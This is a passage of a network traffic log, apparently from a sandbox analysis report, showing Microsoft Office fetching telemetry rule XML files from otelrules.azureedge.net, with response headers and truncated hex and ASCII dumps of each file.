2024-11-19 23:19:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-185f5d8b95cwtv72hC1NYC141w000000096000000000xwxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-185f5d8b95cx9g8lhC1NYCtgvc00000001qg00000000mb1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-r1d97b9957789g82hC1TEBstx00000000820000000004bhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-185f5d8b95cdcwrthC1NYCy5b8000000098000000000vw5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-185f5d8b95cqnkdjhC1NYCm8w800000009b0000000002p6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:24 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:24 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231924Z-r1d97b995778dpcthC1TEB4b5400000007xg000000009qht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:24 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:24 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231925Z-1777c6cb754gvvgfhC1TEBz4rg00000008wg0000000055em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 2767d90f-601e-005c-618c-3af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231925Z-185f5d8b95ckwnflhC1NYCx9qs00000009gg000000006qu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231925Z-r1d97b9957789nh9hC1TEBxha8000000088g0000000016sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:25 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231925Z-185f5d8b95cqnkdjhC1NYCm8w8000000094000000000w9by x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231925Z-185f5d8b95csd4bwhC1NYCq7dc000000097000000000tfbh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:25 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:25 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:25 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231925Z-185f5d8b95c4bhwphC1NYCs8gw00000009fg00000000mvaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:25 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" 